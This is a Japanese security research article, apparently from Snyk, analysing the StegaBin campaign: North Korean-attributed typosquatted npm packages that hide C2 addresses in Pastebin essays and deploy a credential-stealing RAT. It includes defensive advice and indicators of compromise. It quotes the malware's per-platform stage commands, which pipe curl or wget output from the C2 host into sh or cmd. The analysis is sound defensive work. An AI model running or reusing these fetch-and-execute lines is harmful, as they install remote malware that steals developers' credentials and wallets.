In this article
StegaBinの内幕:北朝鮮のステガノグラフィー攻撃が見出しを飾った経緯
2026年2月下旬、北朝鮮の脅威アクターが、使い捨てアカウントを使って2日間で悪意あるnpmパッケージを26個公開しました。パッケージはテキストステガノグラフィーを使い、コンピューターサイエンスのエッセイを装ったPastebinの投稿にコマンド&コントロール(C2)URLを隠していました。ブラウザーの認証情報、暗号資産ウォレット、SSHキー、VS Codeの設定を標的とする、9モジュール構成の情報窃取ツール兼RATを展開。インフラは、自動フォールバックを備えた31のVercelデプロイにまたがっていました。
この攻撃は大きく報道され、The Hacker News、SecurityOnline、GBHackers、DevOps.comなどが記事を掲載しました。Socketは詳細な調査ブログを公開し、当初の17パッケージを26個に拡大して分析しました。
確認できる限り、これらのパッケージが実際に利用された形跡はほとんどありません。これは、こうした攻撃が実際にどのようなものかをよく表しています。
タイムライン
日付 | イベント |
|---|---|
2026年2月11日 | Pastebinのデッドドロップ投稿を作成 |
2026年2月25日 | 最初の悪意あるnpmパッケージを公開(約19:38 UTC) |
2026年2月26日 | 最終バッチを公開(約10:35 UTC) |
2026年3月2日頃 | kmsec.ukが初期調査を公開(17パッケージ);Socketが分析対象を26個に拡大 |
2026年3月2~3日 | The Hacker News、SecurityOnline、GBHackersなどが報道 |
2026年3月6日 | すべてのパッケージにフラグが付けられ、npmから削除 |
2026年3月9日 | 26件すべてのアドバイザリをSnyk Vulnerability Databaseに掲載 |
StegaBinが実際に行うこと
データが示す内容に入る前に、ここで行われた技術的な取り組みを理解しておきましょう。Contagious Interview(FAMOUS CHOLLIMA、DeceptiveDevelopment、PurpleBravoとも呼ばれる)として追跡されている北朝鮮関連の脅威グループに帰属するこの攻撃は、npmマルウェアがC2インフラを解決する方法の進化を示しています。
パッケージ
2026年2月25日から26日にかけて、個別の使い捨てnpmアカウントを通じて17個のパッケージが公開されました。セキュリティ研究者のkmsecが初期バッチを特定し、その後Socketが対象を26個に拡大しました。すべてのパッケージが同じパターンに従い、もっともらしい名前を付けた人気ライブラリのタイポスクワッティングでした。
パッケージ | 模倣対象 | 公開日時 |
|---|---|---|
| dayjs | 2月26日 10:35 UTC |
| cors | 2月26日 10:33 UTC |
| sequelize | 2月26日 10:16 UTC |
| express | 2月26日 10:05 UTC |
| lodash | 2月25日 22:31 UTC |
| fastify | 2月25日 22:07 UTC |
| vitest | 2月25日 22:21 UTC |
| prism | 2月25日 22:13 UTC |
| argon2 | 2月25日 21:51 UTC |
| bcrypt | 2月25日 21:46 UTC |
| ethers | 2月25日 19:38 UTC |
(26個すべてのリスト:argonist、bcryptance、bee-quarl、bubble-core、corstoken、daytonjs、ether-lint、expressjs-lint、fastify-lint、formmiderable、hapi-lint、iosysredis、jslint-config、jsnwebapptoken、kafkajs-lint、loadash-lint、mqttoken、prism-lint、promanage、sequelization、typoriem、undicy-lint、uuindex、vitetest-lint、windowston、zoddle)
すべてのパッケージには、vendor/scrypt-js/version.js(SHA256: da1775d0fbe99fbc35b6f0b4a3a3cb84da3ca1b2c1bbac0842317f6f804e30a4)に同一の悪意あるコードが含まれています。パッケージのpackage.jsonにあるinstallスクリプトがnode ./scripts/test/install.jsを実行し、このペイロードをインポートして実行します。
ステガノグラフィーの手口
この手口こそが、攻撃にStegaBinという名前が付き、見出しを飾った理由です。
簡単にブロックリストへ登録できるC2ドメインをハードコードする代わりに、マルウェアは普通のコンピューターサイエンスのエッセイに見える3つのPastebin投稿を取得します。テキストには、文字単位のステガノグラフィーでエンコードされたC2 URLが隠されています。エッセイ全体に等間隔で配置された文字を置き換え、インフラのアドレスを表しています。
デコーダーの処理:
取得したテキストからゼロ幅Unicode文字を削除
先頭から5桁の長さマーカーを読み取る
テキスト全体から等間隔の文字位置を計算
各位置の文字を抽出
結果を
|||区切り文字で分割し、===END===で終了
3つのPastebinデッドドロップは、パッケージ公開の2週間前にあたる2026年2月11日に作成されました。
Pastebin URL | 作成者 | 閲覧数 |
|---|---|---|
| davidsouza23 | 353 |
| Edgar04231 | 15 |
| Edgar04231 | 19 |
閲覧数が物語っています。メインの投稿は353回閲覧されました(研究者によるスキャンと実際のマルウェア実行が混在している可能性があります)。フォールバックの閲覧数はごくわずかでした。
プラットフォーム別のペイロード配信
デコードされたC2 URLはVercelデプロイ(ext-checkdin[.]vercel[.]app)を指し、cleverstack-ext301、brightlaunch-app615、neuraldock-ext126のようなパターンを持つ31のフォールバックドメインが用意されています。curl以外のユーザーエージェントには、「Permanently suspended」と表示する偽のページを返します。
Vercelエンドポイントは、プラットフォームに応じたシェルペイロードを配信します。
# macOS
curl -s 'https://${c2Host}/api/m' | sh
# Drops ~/Library/tokenlinux.sh, executes via nohup
# Linux
wget -qO- 'https://${c2Host}/api/l' | sh
# Drops ~/.config/tokenlinux.npl, renames to .sh, executes via nohup
# Windows
curl -s https://${c2Host}/api/w | cmd
# Drops %APPDATA%\parse\token.cmd3つの亜種はすべて、コンソール出力を残さないよう、切り離された状態で実行されます(spawn(shellPath, shellArgs, { stdio: 'ignore', detached: true }))。
9モジュール構成の情報窃取ツール
最終ペイロードは、開発者のマシンから認証情報や秘密情報を幅広く抜き取るために設計されたモジュール式ツールキットです。
モジュール | 標的 | 手法 |
|---|---|---|
bro | ブラウザーの認証情報 | Chrome、Firefox、Opera、Edgeに保存されたパスワードを窃取 |
j | 暗号資産ウォレット | 86個のブラウザー拡張機能ID(MetaMask、Phantom、Coinbase Walletなど)を標的にする |
vs | VS Code | 186個のスペースによる空白埋めで見えにくくした永続的な |
clip | クリップボード/キーロガー | 500ミリ秒ごとにクリップボードを監視し、低レベルのキーボードフックを使って10分ごとに情報を流出 |
git | SSHキーとGit認証情報 |
|
z | ファイルシステム | パターンに基づき対象ファイルを列挙して流出 |
truffle | コード内のシークレット | 正規のシークレットスキャナーTruffleHogをダウンロードして実行し、ローカルリポジトリをスキャン |
n | リモートアクセス | 永続的なWebSocket RAT(コマンド用に |
sched | 永続化 | 再起動後にすべてのモジュールを再展開し、再確立 |
TruffleHogモジュールの選択は特に興味深い点です。攻撃者は独自のシークレットスキャナーを作るのではなく、オープンソースのセキュリティツールをダウンロードして悪用し、被害者のコードベースからAPIキー、トークン、認証情報を探します。
実際にインストールした人はいたのか?
26個すべてのパッケージにnpmがフラグを付け、削除しました。すべてのアドバイザリはSnyk Vulnerability Databaseで確認できます。
Pastebinの閲覧数(メインの投稿が353回、フォールバックが15回と19回)と、ダウンロード履歴のない新規パッケージだったことから、実際に利用された形跡はほとんどないと考えられます。
攻撃の設計を見れば、それも不思議ではありません。これらはダウンロード履歴も依存先もなく、実際のプロジェクトに含める理由のない新規パッケージです。名前は実在するパッケージに似ており、名前をうろ覚えの人をだますことはできますが、expressjs-lintが誰かのロックファイルに偶然現れることはありません。こうしたパッケージは、特定のソーシャルエンジニアリング手口を通じて被害者に届きます。偽の採用担当者が候補者に「テストプロジェクト」を送り、その依存関係に悪意あるパッケージを含めるのです。標的は本番システムではなく、採用面接中の個々の開発者です。
繰り返されるパターン
Contagious Interviewキャンペーンは2023年後半から続いており、これはオープンソースエコシステムで悪意あるパッケージが増加する傾向の一部です。北朝鮮関連のグループは、数十回にわたる攻撃で何百もの悪意あるnpmパッケージを公開してきました。Socketはこうした動向を詳しく追跡し、複数の攻撃について詳細な調査を公開しています。手法は進化しています(Bitbucketペイロード、直接的なステージャー、Google Drive、そして現在のステガノグラフィーを使ったPastebinのデッドドロップ)が、基本的な手口は同じです。新しい使い捨てパッケージを公開し、標的型のソーシャルエンジニアリングに利用して、標的がインストールすることを狙います。
攻撃のたびに新たな見出しが生まれますが、実際の企業への影響は毎回ごくわずかです。誰のpackage-lock.jsonにもzoddleやdaytonjsは含まれていません。攻撃ベクトルは個々の開発者を狙ったソーシャルエンジニアリングであり、パッケージは侵入経路ではなく、マルウェアの配布手段です。
悪意あるパッケージが本当に問題になるとき
インシデント対応が必要となる悪意あるパッケージ攻撃とは、すでに依存関係ツリーに含まれているパッケージが侵害されるケースです。
2025年9月、トロイの木馬化されたngx-bootstrap、ng2-file-upload、@ctrl/tinycolor(実際のダウンロード数と依存先があるパッケージ)を通じて、Shai-Huludワームが拡散しました。この攻撃は正規のパッケージに悪意あるpostinstallフックを仕込み、開発者のマシンやCIエージェントからnpm、GitHub、クラウドの認証情報を窃取しました。11月までに後継のSHA1-Huludは、Zapier、PostHog、Postmanの人気パッケージを含む、600を超えるnpmパッケージに影響を及ぼしました。

Shai-Hulud NPM攻撃:Snykによる修復
正規パッケージが侵害される仕組みについて詳しくは、Snyk Learnの正規パッケージの侵害レッスンをご覧ください。
セキュリティプログラムへの示唆
多くの組織にとって、使い捨ての悪意あるパッケージ攻撃がもたらす実際のリスクは低いものです。次の対策が有効です。
1. 依存関係ツリーの中身を把握する。「この26個のパッケージのどれかを使っているか」という問いに、何日もかけず数分で答えられるなら、適切な状態です。Snyk Open Sourceなどのツールはスキャンのたびに悪意あるパッケージを検出するため、アドバイザリが公開されると、影響を受けるプロジェクトが自動的に明らかになります。
# Scan your project (includes malicious package advisories)
snyk test2. 依存関係を固定する。ロックファイル(package-lock.json、yarn.lock)を使用し、プルリクエストで変更をレビューしましょう。使い捨ての悪意あるパッケージは、誰かが明示的に追加しない限り、コードベースに入りません。見慣れない新しいパッケージがロックファイルの差分にあれば、明確な警告サインです。
3. インシデント対応では、本番環境に到達するものに注力する。悪意あるパッケージ攻撃が報道されたら、まず「これらのパッケージがプロジェクトに含まれているか」を確認します。含まれていないなら、脅威を認識して影響がないことを確認し、先に進みましょう。詳しい調査は、侵害されたパッケージがすでに依存関係ツリーに含まれている場合に行います。
4. 採用を装ったソーシャルエンジニアリングについて開発者に周知する。Contagious Interviewキャンペーンは、偽の採用面接や「課題プロジェクト」を通じて開発者を直接狙います。マルウェアには高度な技術が使われていますが、最初の侵入手段は古典的なソーシャルエンジニアリングです。採用担当者から送られた見慣れないプロジェクト、特に知らないパッケージを使ってnpm installを求めるものには注意しましょう。
npmの依存関係のセキュリティ対策について詳しくは、SnykブログのNPMセキュリティ:サプライチェーン攻撃を防ぐと悪意あるパッケージを防ぐ方法をご覧ください。
IOC
検知チーム向けに、この攻撃の主な指標を紹介します。IOCの完全なセットは、GitHub上のstarmtp/IOCs、kraven-security/hunting-packages、stamparm/maltrailでも管理されています。
ファイルハッシュ(SHA256):
# Main payload (vendor/scrypt-js/version.js) - identical across all 26 packages
da1775d0fbe99fbc35b6f0b4a3a3cb84da3ca1b2c1bbac0842317f6f804e30a4
# Platform-specific payloads
869c327b8dc757fa126cd281bc4a14d809c50e9a792954442c55cea5b46912ec # Linux
bce0da6547ae74f97e2bb61672a3e159b837acf01f7c68a813ea75c3835ff303 # macOS
e361d2859ba2eb2540bf6fb12db0b9857ef610bb9920830921e986d4b9109e89 # Windows
accf04ad3228a22532d2f5802a5b0c379c3616564c4766fc1f1ca20dac8dba07 # Decoy "Permanently suspended" page
# Additional package/component hashes
ddbb527be0f40cd13eab08e3e418e36e86e4f1f1458cf84cfee29490beacf3a6
ce80100a383730822221f3ce769ea5ccda0c583654cc7c119ecc50bfbb4203b9
714f890308d2cfebb2ed3ae873697408372639260bb682ea4cfbfffec98b8add
1b15f73054350c6ab42f6e1d2ce4d84d7c56821db699e4ec484541263dfcb636
ba3e520b9727e893cf07b0c1a6e6ce1a62e8e9bf28b5c771af4fdf01f9bd9ed4
78c8b9044f6029280d28a1f62a4414a22e870fc27e3cc4894bd077d17f2ad8b4
4e6a7bf3964fc0e3a655f062330c76b4876dcfac47d213e4c1f0ec3fe6ef9e12
978e8f161da04e00117a695aa59452dce89b5247db93ab7cedcaea3c1f26b8c8ネットワーク指標:
# C2 infrastructure
103.106.67[.]63:1244 # RAT command channel
103.106.67[.]63:1245 # Additional RAT port
103.106.67[.]63:1247 # WebSocket persistence
# Pastebin dead drops (steganographic C2 resolvers)
hxxps://pastebin[.]com/CJ5PrtNk
hxxps://pastebin[.]com/0ec7i68M
hxxps://pastebin[.]com/DjDCxcsT
# Primary Vercel C2
ext-checkdin[.]vercel[.]app
# Vercel fallback domains (30 additional)
cleverstack-ext301[.]vercel[.]app cleverstack-app998[.]vercel[.]app
brightlaunch-ext742[.]vercel[.]app brightlaunch-app615[.]vercel[.]app
primevector-ext483[.]vercel[.]app primevector-app920[.]vercel[.]app
zenithflow-ext156[.]vercel[.]app zenithflow-app877[.]vercel[.]app
cloudharbor-ext664[.]vercel[.]app cloudharbor-app239[.]vercel[.]app
sparkforge-ext518[.]vercel[.]app sparkforge-app790[.]vercel[.]app
logicfield-ext432[.]vercel[.]app logicfield-app681[.]vercel[.]app
atlasnode-ext957[.]vercel[.]app atlasnode-app204[.]vercel[.]app
signalbase-ext369[.]vercel[.]app signalbase-app845[.]vercel[.]app
neuraldock-ext126[.]vercel[.]app neuraldock-app734[.]vercel[.]app
orbitstack-ext592[.]vercel[.]app orbitstack-app318[.]vercel[.]app
fusionlayer-ext807[.]vercel[.]app fusionlayer-app463[.]vercel[.]app
quantapath-ext275[.]vercel[.]app quantapath-app914[.]vercel[.]app
visiondock-ext648[.]vercel[.]app visiondock-app157[.]vercel[.]app
openmatrix-ext539[.]vercel[.]app openmatrix-app882[.]vercel[.]appホスト指標:
~/Library/tokenlinux.sh(macOS)~/.config/tokenlinux.npl(Linux)%APPDATA%\parse\token.cmd(Windows)186個のスペースで空白埋めされた
.vscode/tasks.jsonの変更(runOn: "folderOpen"トリガーによるVS Codeでの永続化)
プロセスの挙動:
Node.jsが
curlまたはwgetを起動Node.jsによる
pastebin.comへのDNSルックアップVercelデプロイへの
curl/wgetユーザーエージェントのリクエスト標準外のパスからTruffleHogバイナリを実行